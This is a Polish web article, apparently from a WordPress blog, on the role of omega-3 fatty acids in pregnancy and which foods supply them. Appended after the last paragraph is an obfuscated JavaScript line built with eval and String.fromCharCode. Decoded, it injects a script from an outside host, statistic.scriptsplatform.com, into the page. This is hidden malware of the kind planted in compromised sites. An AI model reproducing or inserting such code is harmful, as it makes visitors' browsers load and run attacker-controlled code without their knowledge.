Kwasy omega 3 w ciąży

Ciąża dla kobiety to wspaniały okres, podczas którego w jej ciele rozwija się nowy organizm. Jest to jednak dla niej bardzo wymagający czas, w którym musi dbać nie tylko o siebie, ale również o dziecko i zważać na wiele różnych aspektów. Jednym z nich jest odpowiednia dieta, dzięki której płód może się w odpowiedni sposób rozwijać. Niezwykle istotne w tym czasie jest to, aby dostarczać mu wartościowe składniki odżywcze, co pomoże w jego rozwoju. Pomimo tego faktu, wiele osób jednak nie zdaje sobie sprawy, jak istotne mogą być kwasy omega 3 w ciąży.

W jakim pożywieniu znajduje się omega 3?

Omega 3 to wartościowe kwasy tłuszczowe, które mają niezwykle pozytywny wpływ na ludzki organizm i wpływają na wiele jego układów. Z tego powodu, warto spożywać posiłki, które zwierają jej duże ilości. Niezwykle istotne są kwasy omega 3 w ciąży, dlatego kobiety, które spodziewają się dziecka, powinny uwzględnić w swojej diecie produkty takie jak tłuste ryby, orzechy czy też np. olej lniany.

Kwasy omega 3 w ciąży — jaki mają wpływ na dziecko?

Kwasy omega 3 w ciąży wpływają w dużym stopniu na rozwój płodu. Związek ten ma pozytywne przełożenie na rozwój układu odpornościowego, nerwowego oraz właściwą pracę mózgu. Z tego też powodu nie może go zabraknąć w diecie takich osób.var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/

.pp-multiple-authors-boxes-wrapper.box-post-id-205.pp-multiple-authors-layout-boxed.multiple-authors-target-the-content.box-instance-id-1 .pp-author-boxes-avatar img { width: 80px !important; height: 80px !important; } .pp-multiple-authors-boxes-wrapper.box-post-id-205.pp-multiple-authors-layout-boxed.multiple-authors-target-the-content.box-instance-id-1 .pp-author-boxes-avatar img { border-radius: 50% !important; } .pp-multiple-authors-boxes-wrapper.box-post-id-205.pp-multiple-authors-layout-boxed.multiple-authors-target-the-content.box-instance-id-1 .pp-author-boxes-meta a { background-color: #655997 !important; } .pp-multiple-authors-boxes-wrapper.box-post-id-205.pp-multiple-authors-layout-boxed.multiple-authors-target-the-content.box-instance-id-1 .pp-author-boxes-meta a { color: #ffffff !important; } .pp-multiple-authors-boxes-wrapper.box-post-id-205.pp-multiple-authors-layout-boxed.multiple-authors-target-the-content.box-instance-id-1 .pp-author-boxes-meta a:hover { color: #ffffff !important; } .pp-multiple-authors-boxes-wrapper.box-post-id-205.pp-multiple-authors-layout-boxed.multiple-authors-target-the-content.box-instance-id-1 .pp-author-boxes-recent-posts-title { border-bottom-style: dotted !important; } .pp-multiple-authors-boxes-wrapper.box-post-id-205.pp-multiple-authors-layout-boxed.multiple-authors-target-the-content.box-instance-id-1 .pp-multiple-authors-boxes-li { border-style: solid !important; } .pp-multiple-authors-boxes-wrapper.box-post-id-205.pp-multiple-authors-layout-boxed.multiple-authors-target-the-content.box-instance-id-1 .pp-multiple-authors-boxes-li { color: #3c434a !important; }